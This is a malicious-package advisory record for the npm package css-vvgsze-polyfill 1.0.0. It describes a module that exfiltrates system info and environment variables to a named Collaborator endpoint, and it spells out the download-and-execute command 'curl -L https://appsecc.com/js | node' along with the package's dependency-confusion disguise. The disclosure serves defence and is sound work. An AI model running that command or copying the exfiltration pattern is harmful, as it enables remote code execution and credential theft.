mal-2026-17577
Vulnerability from ossf_malicious_packages
-= Per source details. Do not edit below this line.=-
Source: amazon-inspector (242414f6ea61921e2c62a6f4552456c486eee58d10c0aeec8b33d8043751ee59)
thunderboltRegistry.js runs an IIFE on module require that performs two attacker-benefit actions against the installer. First, it execSyncs id, whoami, env, and ifconfig/ip addr, then transmits the output along with hostname, platform, and pid as query parameters via fetch to a hardcoded unique-subdomain Burp Collaborator endpoint at https://unl9pgk6ei4uf80n5tf4iktspjvbuzkn9.oastify.com/. The env dump leaks every environment variable, which in CI/build contexts routinely contains cloud credentials, registry tokens, and API keys. Second, it execSyncs curl -L https://appsecc.com/js | node, fetching an opaque remote JavaScript payload from an attacker-controlled host and executing it in the Node process, yielding full remote code execution on the installer host. The package presents itself as a CSS polyfill and exports Proxy no-op stubs mimicking Wix thunderbolt registry symbols (thunderboltRegistry, siteAssetsRegistry, etc.), a cover-story shape consistent with dependency-confusion or typosquat targeting of a Wix build pipeline so an infected build appears to function while the payload runs.
- CWE-506 - The product contains code that appears to be malicious in nature.
{
"affected": [
{
"database_specific": {
"cwes": [
{
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature.",
"name": "Embedded Malicious Code"
}
],
"indicators": {
"evidence_files": [
{
"path": "thunderboltRegistry.js",
"sha256": "921e1a7ab2086abcdee715f83769b1e446fb5f18954add3cee922bfc1cb92276",
"tlsh": "207132b5b99df02166c33438db7f5049b4bbc6672c6caee0740899b01f7985c01ba6f4"
}
],
"package_integrity": [
{
"filename": "css-vvgsze-polyfill-1.0.0.tgz",
"hashes": {
"sha1": "38f035fc04ad37ea00a9cfba806d660386db5978",
"sha512_sri": "sha512-baBGD8aAmd+OV5gG97nzUgv8UOkmPmox7bdRV1kAjPAUhUziaHkUnXsFlfmbbTnmg1J9IDZgUyuyUwtlzkBV5w=="
}
}
]
}
},
"package": {
"ecosystem": "npm",
"name": "css-vvgsze-polyfill"
},
"versions": [
"1.0.0"
]
}
],
"credits": [
{
"contact": [
"inspector-research@amazon.com"
],
"name": "Amazon Inspector",
"type": "FINDER"
}
],
"database_specific": {
"malicious-packages-origins": [
{
"id": "IN-MAL-2026-021074",
"import_time": "2026-10-05T16:22:56.696953563Z",
"modified_time": "2026-10-05T16:13:54Z",
"sha256": "242414f6ea61921e2c62a6f4552456c486eee58d10c0aeec8b33d8043751ee59",
"source": "amazon-inspector",
"versions": [
"1.0.0"
]
}
]
},
"details": "\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (242414f6ea61921e2c62a6f4552456c486eee58d10c0aeec8b33d8043751ee59)\nthunderboltRegistry.js runs an IIFE on module require that performs two attacker-benefit actions against the installer. First, it execSyncs `id`, `whoami`, `env`, and `ifconfig`/`ip addr`, then transmits the output along with hostname, platform, and pid as query parameters via fetch to a hardcoded unique-subdomain Burp Collaborator endpoint at https://unl9pgk6ei4uf80n5tf4iktspjvbuzkn9.oastify.com/. The `env` dump leaks every environment variable, which in CI/build contexts routinely contains cloud credentials, registry tokens, and API keys. Second, it execSyncs `curl -L https://appsecc.com/js | node`, fetching an opaque remote JavaScript payload from an attacker-controlled host and executing it in the Node process, yielding full remote code execution on the installer host. The package presents itself as a CSS polyfill and exports Proxy no-op stubs mimicking Wix thunderbolt registry symbols (`thunderboltRegistry`, `siteAssetsRegistry`, etc.), a cover-story shape consistent with dependency-confusion or typosquat targeting of a Wix build pipeline so an infected build appears to function while the payload runs.\n",
"id": "MAL-2026-17577",
"modified": "2026-10-05T16:13:54Z",
"published": "2026-10-05T16:13:54Z",
"references": [
{
"type": "PACKAGE",
"url": "https://www.npmjs.com/package/css-vvgsze-polyfill/v/1.0.0"
}
],
"schema_version": "1.7.4",
"summary": "Malicious code in css-vvgsze-polyfill (npm)"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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